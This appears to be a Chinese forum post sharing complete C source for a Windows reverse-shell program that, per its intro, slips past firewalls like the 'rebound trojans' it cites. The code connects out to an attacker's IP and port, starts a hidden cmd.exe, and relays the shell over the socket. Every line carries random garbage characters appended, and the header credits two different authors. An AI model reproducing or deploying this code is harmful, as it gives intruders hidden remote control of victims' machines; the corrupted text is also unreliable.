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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jpO38H0)  
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/* ============================== La}o(7 =s  
Rebound port in Windows NT HP$K.a7H  
By wind,2006/7 glor+  
===============================*/ HtzMDGV<  
#include 0QR.   
#include Jn,w)Els  
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#pragma comment(lib,"wsock32.lib") W#45a.v  
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void OutputShell(); j<$R4A 1  
SOCKET sClient; kukaim>K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d8.ajeN]o  
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void main(int argc,char **argv) FT_k^CC  
{ WTu{,Q  
WSADATA stWsaData; v>^jy8$  
int nRet; |+/$ g.  
SOCKADDR_IN stSaiClient,stSaiServer; .cw=*<zeg  
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if(argc != 3) `Xqy  
{ l\U*sro<  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;qT5faKB3J  
return; `GkRmv*  
} hgj0tIi/  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4(iS-8{J  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2B'^`>+8S  
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stSaiClient.sin_family = AF_INET; F`D 9Zfd  
stSaiClient.sin_port = htons(0); #wD7 \X-f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); di<B~:l58  
sWW\bK0B4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WH;xq^  
{ h*l4Y!7  
printf("Bind Socket Failed!\n"); `]LODgk~  
return; h *waRD  
} dp< au A  
| /#'S&!U  
stSaiServer.sin_family = AF_INET; ;q&Z9 lm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T Xl\hL\+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L)G">T;  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hc /w ta  
{ ;.r2$/E  
printf("Connect Error!"); k7b(QADqUU  
return; 7C YH'DL  
} _6J<YQK  
OutputShell(); 9H8=eJd  
} [Z% l.  
<mn-=#)  
void OutputShell() ujNt(7Cz  
{ vF+YgQ1H  
char szBuff[1024]; Qq>ElQ@  
SECURITY_ATTRIBUTES stSecurityAttributes; aKD;1|)  
OSVERSIONINFO stOsversionInfo; KY 8^BjY@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Lo5Jb6nm  
STARTUPINFO stStartupInfo; ~W/}:;  
char *szShell; Bx%=EN5.  
PROCESS_INFORMATION stProcessInformation; .^GFy   
unsigned long lBytesRead; <M`-`v6H  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @p"NJx"  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U!_sh<  
stSecurityAttributes.lpSecurityDescriptor = 0; 7~lB}$L  
stSecurityAttributes.bInheritHandle = TRUE; 6e&g$ R v  
Rgs3A)[`d/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s/\XH&KR3V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TR|;,A[%v#  
ZG!x$ yi$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R$ v i!0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )e#fj+>x)  
stStartupInfo.wShowWindow = SW_HIDE; TLX^~W[gOm  
stStartupInfo.hStdInput = hReadPipe; 7ia "u+Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]P JH'=  
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GetVersionEx(&stOsversionInfo); IS .g);Gj  
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switch(stOsversionInfo.dwPlatformId) @],Z 2  
{ [gTQ-  
case 1: }3Df]  
szShell = "command.com"; *(>Jd|C  
break; '>"`)-  
default: }[ 7Nb90v  
szShell = "cmd.exe"; dV$3u"9  
break; "C?:T'dW  
} 2}GKHC  
G) jG!`I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1k0^6gE|  
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send(sClient,szMsg,77,0); -fhAtxkg  
while(1) 'wegipK~R  
{ QZqp F9Eu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T27:"LVw  
if(lBytesRead) a\.//?  
{ @ 8A{ 9i  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Hu[8HzJo  
send(sClient,szBuff,lBytesRead,0); `x5ll;"J  
} $Gr4sh!cE  
else (di)`D5Q  
{ OE5X8DqQe  
lBytesRead=recv(sClient,szBuff,1024,0); d5N)^\z  
if(lBytesRead<=0) break; BW+qp3k\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p.qrf7N$  
} 30t:O&2<  
} Qu!OV]Cc  
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return; gCjH%=s  
}
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